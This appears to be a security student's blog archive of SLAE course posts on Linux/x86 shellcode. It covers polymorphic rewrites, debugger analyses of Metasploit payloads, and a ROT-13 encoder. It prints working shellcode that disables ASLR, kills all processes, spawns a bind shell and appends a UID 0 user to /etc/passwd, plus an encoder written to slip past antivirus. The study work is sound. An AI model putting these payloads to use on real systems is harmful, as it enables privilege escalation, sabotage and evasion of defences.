Showing posts with label SLAE. Show all posts
Showing posts with label SLAE. Show all posts

Sunday, May 7, 2017

Linux/x86 - Code Polymorphism examples

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-885
Assignment number: 6.2 and 6.3
Github repo: https://github.com/abatchy17/SLAE  

In assignment 6, the requirement is polymorphing 3+ shellcodes off shellstorm.org or exploit-db.com, which basically means modifying the code so it doesn't look like the original yet has the same functionality. This post contains the remaining 2 parts for assignment 3.

Linux/x86 - kill all processes 

The following shellcode is written by Kris Katterjohn and can be found here.
section .text

global _start

_start:

    ; kill(-1, SIGKILL)

    push byte 37
    pop eax
    push byte -1
    pop ebx
    push byte 9
    pop ecx
    int 0x80

Very simple code, it sets EAX to 37 (syscall for kill()), sets EBX to -1 (to target all processes) and ECX to 9 (SIGKILL).

Let's modify this code slightly:

section .text

global _start

_start:

    ; kill(-1, SIGKILL)

    xor ebx, ebx
    dec ebx
    push byte 37
    pop eax
    push byte 9
    pop ecx
    int 0x80

See what I did there? Shellcode is of same size so we're good.

Linux/x86 - exit(0)

The following shellcode is written by gunslinger_ and can be found here.

/*
Name   : 8 bytes sys_exit(0) x86 linux shellcode
Date   : may, 31 2010
Author : gunslinger_
Web    : devilzc0de.com
blog   : gunslinger.devilzc0de.com
tested on : linux debian
*/

char *bye=
 "\x31\xc0"                    /* xor    %eax,%eax */
 "\xb0\x01"                    /* mov    $0x1,%al */
 "\x31\xdb"                    /* xor    %ebx,%ebx */
 "\xcd\x80";                   /* int    $0x80 */

int main(void)
{
  ((void (*)(void)) bye)();
  return 0;
}

What can we do about this code? Well, mov al, 0x1 can be replaced with inc eax.

global _start
_start:

xor eax, eax
inc eax
xor ebx, ebx
int 0x80

Shellcode is now one byte smaller, sweet.

- Abatchy

Linux/x86 - Disable ASLR Shellcode (71 bytes)

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-885
Assignment number: 6.1
Github repo: https://github.com/abatchy17/SLAE  

Note: A modified version has been published in exploit-db: https://www.exploit-db.com/exploits/41969/ (calls setruid first)

In assignment 6, the requirement is polymorphing 3+ shellcodes off shellstorm.org or exploit-db.com, which basically means modifying the code so it doesn't look like the original yet has the same functionality. This is the first post out of three.


Linux/x86 - Disable ASLR Shellcode (71 bytes)

First shellcode I will dissect is a disable ASLR one by Mohammad Reza Ramezani, shellcode can be found here.

Let's compile this code and instead of debugging it, we'll use strace tool

abatchy@ubuntu:~/Desktop/workspace$ gcc 36637.c -fno-stack-protector -z execstack -o 36637.out
abatchy@ubuntu:~/Desktop/workspace$ sudo su
root@ubuntu:/home/abatchy/Desktop/workspace# strace ./36637.out 
execve("./36637.out", ["./36637.out"], [/* 26 vars */]) = 0
brk(0)                                  = 0x804b000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fd8000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=79136, ...}) = 0
mmap2(NULL, 79136, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fc4000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0P\234\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1763068, ...}) = 0
mmap2(NULL, 1768060, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e14000
mmap2(0xb7fbe000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1aa000) = 0xb7fbe000
mmap2(0xb7fc1000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fc1000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e13000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e13940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xb7fbe000, 8192, PROT_READ)   = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0xb7ffe000, 4096, PROT_READ)   = 0
munmap(0xb7fc4000, 79136)               = 0
open("/proc/sys/kernel/randomize_va_space", O_RDWR) = 3
write(3, "0\n", 2)                      = 2
_exit(0)                                = ?
+++ exited with 0 +++


Note: DO NOT run code directly without investigating it first and making sure it's totally safe.

So 3 calls are what matter to us:

1. open("/proc/sys/kernel/randomize_va_space", O_RDWR)
2. write(3, "0\n", 2)
3. exit(0)

There seem to be room for improvement, so let's see if we can make this code significantly smaller.

1. open("/proc/sys/kernel/randomize_va_space", O_RDWR)


Minor refactoring.
xor eax,eax
jmp filename
shellcode:
pop ebx         ; EBX now points to '/proc/sys/kernel/randomize_va_spaceX'
mov byte [ebx + 35],al
push byte 5
pop eax
push byte 2
pop ecx
int 80h
We don't need O_RDWR permissions, but I tried making use of that with no avail.

2. write(fd, "0\n", 2)


1. mov ebx, eax: Since we don't care about EAX, an xchg eax,ebx is one byte less.

2. push byte 2 - pop edx: ECX already contains 2, let's exchange them instead.

3. jmp-call-pop: Got rid of it and replaced it with a push '0'

xchg eax, ebx   ; One byte less than mov ebx, eax
push byte 4
pop eax
xchg ecx, edx   ; ECX already contains 2
push byte 0x30
mov ecx, esp    ; ECX now points to "0"
int 80h         ; EAX will now contains 1

3. Exit(0)


Is it a big deal exiting with non-zero status? Not really, so let's not nullify EBX (it currently contains the file descriptor).

Can we do better? Yes! write() returns number of bytes written, which should be 1 (we only wrote "0"), so we can exit directly!

int 80h         ; Yep, that's it

Final shellcode


section .text
global _start

_start:

;
; open("/proc/sys/kernel/randomize_va_spaceX", O_RDWR)
;
xor eax,eax
jmp aslr_file
shellcode:
pop ebx         ; EBX now points to '/proc/sys/kernel/randomize_va_spaceX'
mov byte [ebx + 35],al
push byte 5
pop eax
push byte 2
pop ecx
int 80h

;
; write(fd, '0', 1)
;
xchg eax, ebx   ; One byte less than mov ebx, eax
push byte 4
pop eax
xchg ecx, edx   ; ECX already contains 2
push byte 0x30
mov ecx, esp    ; ECX now points to "0"
int 80h         ; EAX will now contains 1

;
; exit(0)
;
int 80h         ; Yep, that's it

aslr_file:
call shellcode  ; Skips the filename and avoids using JMP
db '/proc/sys/kernel/randomize_va_spaceX'

Shellcode size has been cut down to 71 bytes (13 bytes less than original code).

- Abatchy

Saturday, May 6, 2017

Analyzing Metasploit linux/x86/exec module using Ndisasm

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-885
Assignment number: 5.3
Github repo: https://github.com/abatchy17/SLAE 

In the third and final part of assignment 5 in SLAE, I'll be analyzing the linux/x86/exec module using Ndisasm.

Ndisasm comes with Nasm assembler, unlike GDB and Libemu it doesn't execute any code, just converts shellcode to the corresponding instructions, so we'll be analyzing the instructions by hand.

1. Setting payload parameters


root@kali:~# msfvenom -p linux/x86/exec --payload-options
Options for payload/linux/x86/exec:


       Name: Linux Execute Command
     Module: payload/linux/x86/exec
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 36
       Rank: Normal

Provided by:
    vlad902 <vlad902@gmail.com>

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
CMD                    yes       The command string to execute

Description:
  Execute an arbitrary command

Payload requires a single command, so let's use something simple like /bin/date.

root@kali:~# msfvenom -p linux/x86/exec CMD=/bin/date -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 45 bytes
Final size of c file: 213 bytes
unsigned char buf[] = 
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0a\x00\x00\x00\x2f"
"\x62\x69\x6e\x2f\x64\x61\x74\x65\x00\x57\x53\x89\xe1\xcd\x80";

2. Analyzing payload with Ndisasm



root@kali:~# echo -ne "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0a\x00\x00\x00\x2f\x62\x69\x6e\x2f\x64\x61\x74\x65\x00\x57\x53\x89\xe1\xcd\x80" | ndisasm -u -

00000000  6A0B              push byte +0xb
00000002  58                pop eax
00000003  99                cdq
00000004  52                push edx
00000005  66682D63          push word 0x632d
00000009  89E7              mov edi,esp
0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f
00000015  89E3              mov ebx,esp
00000017  52                push edx
00000018  E80A000000        call dword 0x27
0000001D  2F                das
0000001E  62696E            bound ebp,[ecx+0x6e]
00000021  2F                das
00000022  6461              fs popad
00000024  7465              jz 0x8b
00000026  005753            add [edi+0x53],dl
00000029  89E1              mov ecx,esp
0000002B  CD80              int 0x80
Okay let's go through every few commands and get an idea what's going on.
push byte +0xb
pop eax                 ; EAX = 0xb
cdq                     ; Extend EAX -> EDX = 0x0
push edx                ; Push zero byte

Nothing special here so far.

push word 0x632d        ; Translates to "-c"
mov edi,esp             ; Make EDI point to top of stack, which contains "-c" terminated with a null character

This part is constructing the command to be executed, -c will execute the command.

push dword 0x68732f     ; PUSH "hs/"
push dword 0x6e69622f   ; PUSH "nib/"
mov ebx,esp             ; Make EBX point to top of stack "/bin/sh -c"
push edx                ; Push another NULL byte

Next part is interesting, code tells us to jump to instruction 27, but there isn't one! Reason is that there is a string starting at 1D till 27.

root@kali:~# echo -ne "\x2f\x62\x69\x6e\x2f\x64\x61\x74\x65\x00"
/bin/date

Remaining instructions (after 27) are interpreted incorrectly, so let's pipe them again to ndisasm and come up with the correct instructions.

oot@kali:~# echo -ne "\x57\x53\x89\xe1\xcd\x80" | ndisasm -u -
00000000  57                push edi
00000001  53                push ebx
00000002  89E1              mov ecx,esp
00000004  CD80              int 0x80

Awesome, this makes more sense now. Let's rewrite the assembly code in a more understandable structure.

00000000    push byte +0xb
00000002    pop eax                 ; EAX = 0xb
00000003    cdq                     ; Extend EAX -> EDX = 0x0
00000004    push edx                ; Push zero byte
00000005    push word 0x632d        ; Translates to "-c"
00000009    mov edi,esp             ; Make EDI point to top of stack, which contains "-c" terminated with a null character
0000000B    push dword 0x68732f     ; PUSH "hs/"
00000010    push dword 0x6e69622f   ; PUSH "nib/"
00000015    mov ebx,esp             ; Make EBX point to top of stack "/bin/sh"
00000017    push edx                ; Push another NULL byte
00000018    call dword 0x27         ; Address of "/bin/date" is pushed onto stack through "call"
0000001D    "/bin/date"             ; Not executed
00000027    push edi                ; Push pointer to "-c"
00000027    push ebx                ; Push pointer to "/bin/sh"
00000029    mov ecx,esp             ; ECX point to top of stack
                                    ; This is the "meat" of the shellcode, ECX points to [addr1][addr2][addr3][null]
                                    ; addr1 points to /bin/sh (0B, 10 and 15)
                                    ; addr2 points to -c (05 and 09)
                                    ; addr3 points to "/bin/date" (18 and 1D)

                                    ; NULL indicates end of argv[]
0000002B    int 0x80                ; EAX = 0xb, which is syscall for execve()
                                    ; EBX points to argv[0]
                                    ; ECX points to &argv[0]

TL;DR


1. EAX is set to 0xb, which is the syscall number for execve()
2. EBX points to "/bin/sh"
3. ECX points to argv[] which is { "/bin/sh", "-c", "/bin/date" } 

That's it!

- Abatchy

Analyzing Metasploit linux/x86/shell_bind_tcp_random_port module using Libemu

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-885
Assignment number: 5.2
Github repo: https://github.com/abatchy17/SLAE  

In the second part of assignment 5 in SLAE, I'll be analyzing the linux/x86/shell_bind_tcp_random_port module using Libemu.

1. Setting payload parameters


First let's check the options for this module.

root@kali:~/Desktop/libemu/tools/sctest# msfvenom -p linux/x86/shell_bind_tcp_random_port --payload-options
Options for payload/linux/x86/shell_bind_tcp_random_port:


       Name: Linux Command Shell, Bind TCP Random Port Inline
     Module: payload/linux/x86/shell_bind_tcp_random_port
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 57
       Rank: Normal

Provided by:
    Geyslan G. Bem <geyslan@gmail.com>

Description:
  Listen for a connection in a random port and spawn a command shell. 
  Use nmap to discover the open port: 'nmap -sS target -p-'.

I skipped over the advanced settings as they won't be discussed in this post. Lucky for us, this payload doesn't require any options as it will bind to the local IP and choose a port randomly (you'll use nmap to find that port).

2. Analyzing payload with libemu

 

After you install libemu (you might need to install a few packages like autoconf and libtool), let's pipe the raw output to ScTest (Iterate 1000 times with verbose output).

root@kali:~/Desktop/libemu/tools/sctest# msfvenom -p linux/x86/shell_bind_tcp_random_port -f raw | ./sctest -vvv -Ss 10000
verbose = 3
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 57 bytes

... redacted ...

int socket (
     int domain = 2;
     int type = 1;
     int protocol = 0;
) =  14;
int listen (
     int s = 14;
     int backlog = 0;
) =  0;
int accept (
     int sockfd = 14;
     sockaddr_in * addr = 0x00000000 => 
         none;
     int addrlen = 0x00000002 => 
         none;
) =  19;
int dup2 (
     int oldfd = 19;
     int newfd = 14;
) =  14;
int dup2 (
     int oldfd = 19;
     int newfd = 13;
) =  13;
int dup2 (
     int oldfd = 19;
     int newfd = 12;
) =  12;
int dup2 (
     int oldfd = 19;
     int newfd = 11;
) =  11;
int dup2 (
     int oldfd = 19;
     int newfd = 10;
) =  10;
int dup2 (
     int oldfd = 19;
     int newfd = 9;
) =  9;
int dup2 (
     int oldfd = 19;
     int newfd = 8;
) =  8;
int dup2 (
     int oldfd = 19;
     int newfd = 7;
) =  7;
int dup2 (
     int oldfd = 19;
     int newfd = 6;
) =  6;
int dup2 (
     int oldfd = 19;
     int newfd = 5;
) =  5;
int dup2 (
     int oldfd = 19;
     int newfd = 4;
) =  4;
int dup2 (
     int oldfd = 19;
     int newfd = 3;
) =  3;
int dup2 (
     int oldfd = 19;
     int newfd = 2;
) =  2;
int dup2 (
     int oldfd = 19;
     int newfd = 1;
) =  1;
int dup2 (
     int oldfd = 19;
     int newfd = 0;
) =  0;
int execve (
     const char * dateiname = 0x00416fb6 => 
           = "/bin//sh";
     const char * argv[] = [
           = 0xffffffff => 
             none;
     ];
     const char * envp[] = 0x00000000 => 
         none;
) =  0;

Lots of debug info, but let's focus on the syscalls being made. To make it easier, sctest allows us to create a visual representation of the flow.

root@kali:~/Desktop/libemu/tools/sctest# msfvenom -p linux/x86/shell_bind_tcp_random_port -f raw | ./sctest -vvv -Ss 10000 -G tcp_random_port.dot

.. redacted..

root@kali:~/Desktop/libemu/tools/sctest# ls
dot.c        Makefile.in  sctest          sctest-sctestmain.o  tests.c
dot.h        nanny.c      sctest-dot.o    sctest-tests.o       tests.h
Makefile     nanny.h      sctestmain.c    sctest-userhooks.o   userhooks.c
Makefile.am  options.h    sctest-nanny.o  tcp_random_port.dot  userhooks.h
root@kali:~/Desktop/libemu/tools/sctest# dot tcp_random_port.dot -T png > tcp_random_port.png


1. socket()


int socket (
     int domain = 2;
     int type = 1;
     int protocol = 0;
) =  14;

Same call we made for both bind and reverse shell previously, creating a socket that supports TCP communication, sockfd returned is 14.

2. listen()


int listen (
     int s = 14;
     int backlog = 0;
) =  0;

Next, it starts a listener for incoming connections on sockfd. Note: bind() is not required and a random port is picked. Instead you'll need to scan the host for open ports. More info here: http://stackoverflow.com/questions/12763268/why-is-bind-used-in-tcp-why-is-it-used-only-on-server-side-and-not-in-client

3. accept()


int accept (
     int sockfd = 14;
     sockaddr_in * addr = 0x00000000 => 
         none;
     int addrlen = 0x00000002 => 
         none;
) =  19;

When there's an incoming connection on the socket created earlier, accept it without storing the client data (sockaddr_in). New sockfd is 19.

4. dup2() 


Next, the traffic is redirected to the newly created socket (19) by calling dup2(), which will duplicate the STDIN,STDOUT and STDERR to the socket. Notice that there's a loop using ECX as an index, ECX's value is pulled from the latest value pushed onto stack.

After accept(), there's a POP ECX command, which will now contain the value last pushed into stack. If you scroll up you'll find that it was a PUSH EAX. EAX contains the sockfd returned from socket(). This allows us to use a small number without worrying too much about looping too much.

Of course, this logic any error check, but you don't have that luxury while shellcoding.

5. execve()


This part is simple, it's simply calls a /bin/sh shell.

- Abatchy

Thursday, May 4, 2017

Analyzing Metasploit linux/x86/adduser module using GDB

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-885
Assignment number: 5.1
Github repo: https://github.com/abatchy17/SLAE 

Next assignment requires dissecting three linux/x86 MSF payloads using one of the following tools (GDB - ndisasm - libemu). In this post I'll show how the linux/x86/adduser is executed using GDB.

1. Setting shellcode parameters


First let's check the options for this module and try executing it.


root@kali:~/Desktop/work# msfvenom -p linux/x86/adduser --payload-options
Options for payload/linux/x86/adduser:


       Name: Linux Add User
     Module: payload/linux/x86/adduser
   Platform: Linux
       Arch: x86
Needs Admin: Yes
 Total size: 97
       Rank: Normal

Provided by:
    skape <mmiller@hick.org>
    vlad902 <vlad902@gmail.com>
    spoonm <spoonm@no$email.com>

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
PASS   metasploit       yes       The password for this user
SHELL  /bin/sh          no        The shell for this user
USER   metasploit       yes       The username to create

Description:
  Create a new user with UID 0


I skipped over the advanced settings as they won't be discussed in this post. As for the basic options, there are 3 values we need to set: PASS, SHELL and USER. Executing the payload will create a user with UID 0 using the credentials provided (USER/PASS), using SHELL as default shell.

2. Generating shellcode


root@kali:~/Desktop/SLAE# msfvenom -p linux/x86/adduser USER=abatchy PASS=killem -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 94 bytes
Final size of c file: 421 bytes
unsigned char buf[] = 
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x25\x00\x00\x00\x61\x62"
"\x61\x74\x63\x68\x79\x3a\x41\x7a\x62\x47\x66\x50\x36\x38\x38"
"\x4e\x74\x61\x2e\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69"
"\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a"
"\x01\x58\xcd\x80";

Next, let's put the shellcode inside a C wrapper.
/*
 adduserWrapper.c
By Abatchy
gcc adduserWrapper.c -fno-stack-protector -z execstack -o adduserWrapper.out
*/

#include <stdio.h>
#include <string.h>

unsigned char buf[] = 
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x25\x00\x00\x00\x61\x62"
"\x61\x74\x63\x68\x79\x3a\x41\x7a\x62\x47\x66\x50\x36\x38\x38"
"\x4e\x74\x61\x2e\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69"
"\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a"
"\x01\x58\xcd\x80";

int main()
{
    printf("Shellcode size: %d\n", strlen(buf));
    int (*ret)() = (int(*)())buf;
    ret();
}
Compile, run GDB and break on shellcode.

root@ubuntu:~/Desktop/workspace# gcc adduserWrapper.c -fno-stack-protector -z execstack -o adduserWrapper.out
root@ubuntu:~/Desktop/workspace# chmod 777 adduserWrapper.out 
root@ubuntu:~/Desktop/workspace# gdb -q adduserWrapper.out 
Reading symbols from adduserWrapper.out...(no debugging symbols found)...done.
(gdb) disass main
Dump of assembler code for function main:
   0x0804844d <+0>: push   ebp
   0x0804844e <+1>: mov    ebp,esp
   0x08048450 <+3>: and    esp,0xfffffff0
   0x08048453 <+6>: sub    esp,0x20
   0x08048456 <+9>: mov    DWORD PTR [esp],0x804a040
   0x0804845d <+16>: call   0x8048330 <strlen@plt>
   0x08048462 <+21>: mov    DWORD PTR [esp+0x4],eax
   0x08048466 <+25>: mov    DWORD PTR [esp],0x8048520
   0x0804846d <+32>: call   0x8048310 <printf@plt>
   0x08048472 <+37>: mov    DWORD PTR [esp+0x1c],0x804a040
   0x0804847a <+45>: mov    eax,DWORD PTR [esp+0x1c]
   0x0804847e <+49>: call   eax
   0x08048480 <+51>: leave  
   0x08048481 <+52>: ret    
End of assembler dump.
(gdb) break *0x804a040
Breakpoint 1 at 0x804a040
(gdb) r
Starting program: /home/abatchy/Desktop/workspace/adduserWrapper.out 
Shellcode size: 40

Breakpoint 1, 0x0804a040 in sc ()

Shellcode disassembly:

Dump of assembler code for function sc:
   0x0804a040 <+0>: xor    ecx,ecx
   0x0804a042 <+2>: mov    ebx,ecx
   0x0804a044 <+4>: push   0x46
   0x0804a046 <+6>: pop    eax
   0x0804a047 <+7>: int    0x80
   0x0804a049 <+9>: push   0x5
   0x0804a04b <+11>: pop    eax
   0x0804a04c <+12>: xor    ecx,ecx
   0x0804a04e <+14>: push   ecx
   0x0804a04f <+15>: push   0x64777373
   0x0804a054 <+20>: push   0x61702f2f
   0x0804a059 <+25>: push   0x6374652f
   0x0804a05e <+30>: mov    ebx,esp
   0x0804a060 <+32>: inc    ecx
   0x0804a061 <+33>: mov    ch,0x4
   0x0804a063 <+35>: int    0x80
   0x0804a065 <+37>: xchg   ebx,eax
   0x0804a066 <+38>: call   0x804a090 <sc+80>
   0x0804a06b <+43>: popa   
   0x0804a06c <+44>: bound  esp,QWORD PTR [ecx+0x74]
   0x0804a06f <+47>: arpl   WORD PTR [eax+0x79],bp
   0x0804a072 <+50>: cmp    al,BYTE PTR [ecx+0x7a]
   0x0804a075 <+53>: bound  eax,QWORD PTR [edi+0x66]
   0x0804a078 <+56>: push   eax
   0x0804a079 <+57>: cmp    BYTE PTR ss:[eax],bh
   0x0804a07c <+60>: dec    esi
   0x0804a07d <+61>: je     0x804a0e0
   0x0804a07f <+63>: cmp    dh,BYTE PTR cs:[eax]
   0x0804a082 <+66>: cmp    dh,BYTE PTR [eax]
   0x0804a084 <+68>: cmp    bh,BYTE PTR [edx]
   0x0804a086 <+70>: das    
   0x0804a087 <+71>: cmp    ch,BYTE PTR [edi]
   0x0804a089 <+73>: bound  ebp,QWORD PTR [ecx+0x6e]
   0x0804a08c <+76>: das    
   0x0804a08d <+77>: jae    0x804a0f7
   0x0804a08f <+79>: or     bl,BYTE PTR [ecx-0x75]
   0x0804a092 <+82>: push   ecx
   0x0804a093 <+83>: cld    
   0x0804a094 <+84>: push   0x4
   0x0804a096 <+86>: pop    eax
   0x0804a097 <+87>: int    0x80
   0x0804a099 <+89>: push   0x1
   0x0804a09b <+91>: pop    eax
   0x0804a09c <+92>: int    0x80
   0x0804a09e <+94>: add    BYTE PTR [eax],al
End of assembler dump.

Awesome, now let's analyze these instructions. We'll be doing the following:
1. Put break points at interrupts or calls.
2. Observe any JMP behaviour.
3. Occasionally analyze instructions manually.

2.1. setruid(0,0)


Let's set a break point at 0x804a047, command: break *0x804a047


Register values:
EAX = 0x46
EBX = 0
ECX = 0
EDX = Poiner to NULL

EAX contains 70, which is for syscall setruid(). This function will set the real and effective UID.

syscall made: setruid(NULL, NULL)
Reference: http://man7.org/linux/man-pages/man2/setreuid.2.html

Since both EBX (first argument) and ECX (second argument) are zeroes, setruid(0,0) is executed. This is needed to have permissions to edit /etc/passwd.

2.2 open("/etc/passwd", O_WRONLY|O_APPEND, 0)


Next int 0x80 is at 0x0804a063, let's break at that.


Register values:
EAX = 5
EBX points to string "/etc/passwd"
ECX = 0x401
EDX = 0

5 is for syscall open(const char * filename, int flags, int mode)

syscall made: open("/etc/passwd", O_WRONLY|O_APPEND, 0)
Reference: http://man7.org/linux/man-pages/man2/open.2.html
Flags indicate file permissions are RWX.

On return, a file descriptor is stored in EAX for the opened file. It's stored in EBX through the "xchg eax, ebx" command.

2.3 Writing to "/etc/passwd"


Next interrupt is at 0x0804a097, this part is brilliant. You'll notice that at 0x0804a066 sc+80 is being called. Reason is that the string to be appended to "/etc/passwd" is between 0x804a06b and 0x804A0A1. Calling sc+80 pushes EIP (after being incremented, which happens to point onto our string) onto the stack. Take a moment to observe that in the screenshot:


To sum this part up:
1.0x0804a066 <+38>: call 0x804a090 <sc+80>
Call sc+80, EIP is incremented to point at 0x804a06b (beginning of string) and pushed onto stack.

2. 0x804a090 <sc+80>:    pop    ecx
Store pointer to string in ECX

Let's skip to 0x804a097.


Register values:
EAX =4
EBX = 3
ECX points to /etc/passwd entry for abatchy:killem
EDX = 0x25


4 is for write(int fd, const void *buf, size_t count);
Reference: http://man7.org/linux/man-pages/man2/write.2.html

syscall made: write(3, "abatchy:AzbGfP688Nta.:0:0::/:/bin/sh" , 37);
This will simply append the string to file descriptor 3, which is a reference to the opened file /etc/passwd.

2.4 Exiting


Pretty self-explanatory, code exits with status 3.

TL;DR

 

1. setreuid(0,0): Ensure real/effective UID is of root.
2. open("/etc/passwd, O_WRONLY|O_APPEND, 0): Open file and append to it.
3. write(3, "abatchy:AzbGfP688Nta.:0:0::/:/bin/sh" , 37);
4. exit(3)

- Abatchy

Wednesday, May 3, 2017

ROT-N Shellcode Encoder/Generator (Linux x86)

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-885
Assignment number: 4
Github repo: https://github.com/abatchy17/SLAE

What is shellcode encoding?

Encoding shellcode is common to avoid bad characters or trick lame AVs into believing your code isn't malicious. To execute the shellcode, you'll need a "decoding stub" appending the shellcode so it returns the shellcode back to its original form then allow it to execute. An easy way to encode your shellcode is using MSF encoders (link is outdated as msfencode and msfpayload have been replaced with msfvenom but syntax is pretty much the same.

Assignment 4 of SLAE requires a custom encoder, can be pretty much anything. Being lazy, I decided to go for ROT-13 (or any number between 1-255 for the matter). This post will walk you through creating a (simple) custom encoder.

Pros and cons

Pros:

1. Will most likely get rid of null characters.
2. Some AVs won't recognize it.

Cons:

1. Decoding stub will easily get picked by AVs.
2. Doesn't obfuscate the code.
3. Decoder needs to know the size of the shellcode, this can be done by using a conditional jump for the operation done, or by explicitly defining the size of the shellcode. Implementation details will discuss both approaches.

Implementation of ROT-13 encoder/decoder


1. Generate encoded payload

We'll first create an encoder (simple python script) that will iterate over the payload (simple execve("/bin//sh", NULL,NULL)) and print it.

#!/bin/python

shellcode = ("\x31\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\xb0\x0b\xcd\x80")

magic = 13

encoded1 = ""
encoded2 = ""

for i in bytearray(shellcode):
 j = (i + magic)%256
 encoded1 += '\\x'
 encoded1 += '%02x' %j

 encoded2 += '0x'
 encoded2 += '%02x, ' %j

print "Format 1: {0}".format(encoded1)
print "Format 2: {0}".format(encoded2)


abatchy@ubuntu:~/Desktop/work$ python encoder.py 
Format 1: \x3e\xcd\x5d\x96\xef\x75\x3c\x3c\x80\x75\x75\x3c\x6f\x76\x7b\x96\xf0\x5d\xbd\x18\xda\x8d
Format 2: 0x3e, 0xcd, 0x5d, 0x96, 0xef, 0x75, 0x3c, 0x3c, 0x80, 0x75, 0x75, 0x3c, 0x6f, 0x76, 0x7b, 0x96, 0xf0, 0x5d, 0xbd, 0x18, 0xda, 0x8d,

As you can notice, bytes have been incremented by 13, so 31 becomes 3e, c0 becomes cd and so on.

2. Write assembly wrapper including decoding stub

 

Next, we'll write an assembly wrapper to decode the shellcode and execute it. Notice that we don't have a way to know size of the shellcode, so we'll hard code its size for now, followed by a nice improvement to get rid of that.

; Rot13ExecveSh.asm
; by Abatchy
;
;   nasm -felf32 Rot13Encoder.asm && ld -o Rot13Encoder Rot13Encoder.o
; Generated shellcode: 

global _start

section .text

_start:
    
    jmp short get_shellcode_addr    ; Get address of shellcode

ReturnLabel:
    pop esi                 ; Store address of "shellcode" in esi
    xor eax, eax
    mov al, 22
decode:
    sub byte [esi], 13      ; Decode byte at [esi]
    dec al
    jz shellcode            
    inc esi
    jmp short decode

get_shellcode_addr:
    call ReturnLabel
    shellcode: db  0x3e, 0xcd, 0x5d, 0x96, 0xef, 0x75, 0x3c, 0x3c, 0x80, 0x75, 0x75, 0x3c, 0x6f, 0x76,
                   0x7b, 0x96, 0xf0, 0x5d, 0xbd, 0x18, 0xda, 0x8d

3. Extract shellcode into C wrapper

 

Why do we need this? The shellcode is defined in the text segment, which means editing it will crash the program, so we need a C wrapper where the shellcode is decoded without causing issues.
/*
 Rot13ExecveSh.c
By Abatchy
gcc Rot13ExecveSh.c -fno-stack-protector -z execstack -o Rot13ExecveSh.out
*/

